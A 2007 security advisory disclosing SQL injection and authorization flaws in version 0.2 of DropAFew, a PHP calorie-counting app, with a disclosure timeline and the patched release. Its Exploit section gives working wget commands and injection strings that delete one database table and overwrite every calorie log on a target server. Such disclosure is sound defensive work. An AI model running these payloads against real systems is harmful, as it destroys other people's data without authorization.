AKLINK-SA-2007-002.txt

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
============================================  
||| Security Advisory AKLINK-SA-2007-002 |||  
||| CVE-2007-1363 (CVE candidate) |||  
||| CVE-2007-1364 (CVE candidate) |||  
============================================  
  
DropAFew - Multiple vulnerabilities (SQL injection, authorization issue)  
========================================================================  
  
Date released: 10.04.2007  
Date reported: 07.03.2007  
$Revision: 1.1 $  
  
by Alexander Klink  
Cynops GmbH  
[email protected]  
https://www.cynops.de/advisories/CVE-2007-1363.txt  
(S/MIME signed: https://www.cynops.de/advisories/CVE-2007-1363-signed.txt)  
https://www.klink.name/security/aklink-sa-2007-002-dropafew-sqlinjection.txt  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1363  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1364  
  
Vendor: Chris Bratlien (Open Source)  
Product: DropAFew - a multi-user calorie counting program using PHP  
Website: http://www.dropafew.com  
Vulnerability: SQL injection attack, authorization issues  
Class: remote  
Status: patched   
Severity: moderate (database corruption and some information disclosure)  
Releases known to be affected: 0.2  
Releases known NOT to be affected: 0.2.1   
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Overview:  
  
SQL injection is possible in different places which may lead to the  
deletion or corruption of the two most important database tables of  
the application.  
The vulnerability works without query stacking and with magic_quotes_gpw  
set to on.  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Technical details:  
  
An SQL injection is present in search.php and search-pda.php on the  
delete action. Setting id for example to "1 OR id > 0 --" deletes the  
foodfacts table completely.  
In editlogcal.php, the save action allows for an SQL injection into  
an UPDATE statement via the calories variable. Setting calories for  
example to "1000 WHERE id > 0 /*" corrupts the logcal database reducing  
it to the same entry (so it looks like everybody keeps eating the same  
thing again and again).  
In editlogcal.php, the id parameter is not checked for authorization,  
so it is possible for a user to see all logged calories for all users  
(without knowing who ate what, though).  
Furthermore, the links.php allows a user to add publicly viewable links  
to everyones link page, which a user can not remove, which might be  
a possibility for spam.  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Exploit:  
  
# create new user  
wget --save-cookies cookies --keep-session-cookies --post-data='username=exploit&password=1&password_confirm=1' http://[target]/calorie/newaccount2.php  
# delete foodfacts table  
wget --load-cookies cookies --post-data='id=1%20OR%20id%20>%200--&action=del' http://[target]/calorie/search.php  
# make everyone have eaten 1000 strawberries, but hey, they were only 10  
# calories ...  
wget --load-cookies cookies --post-data='action=save&id=1&date=20070101&time=23232323&vendor=nature&item=strawberries&portion=1000&calories=10+WHERE+id+%3E+0+%2F*' http://[target]/calorie/editlogcal.php  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Workaround:  
  
Filtering the requests, restricting access to the application to  
trusted users only.  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Communication:  
  
* 07.03.2007: Problem reported to author  
* 07.03.2007: Vendor replies and confirms the problem, presents ideas  
for a solution  
* 03.04.2007: Contacted vendor to check back on status  
* 03.04.2007: Vendor responds with updated version 0.2.1  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Solution:  
  
Update to version 0.2.1 (http://dropafew.com/download/dropafew-0.2.1.zip)  
  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
Credit:  
  
Alexander Klink, Cynops GmbH (discovery and exploit development)  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1.2.5 (GNU/Linux)  
  
iD8DBQFGGqWp8Q3kKmNSxUURAoaKAKCWPDyFVZnZnw7J6DCr4PXp/hwFMACggEos  
UR4k+AOgSkfFGL8HYIBoyjY=  
=nelw  
-----END PGP SIGNATURE-----  
  
--   
Dipl.-Math. Alexander Klink | IT-Security Engineer | [email protected]  
mobile: +49 (0)178 2121703 | Cynops GmbH | http://www.cynops.de  
----------------------------+----------------------+---------------------  
HRB 7833, Amtsgericht | USt-Id: DE 213094986 | Geschäftsführer:  
Bad Homburg v. d. Höhe | | Martin Bartosch  
  
`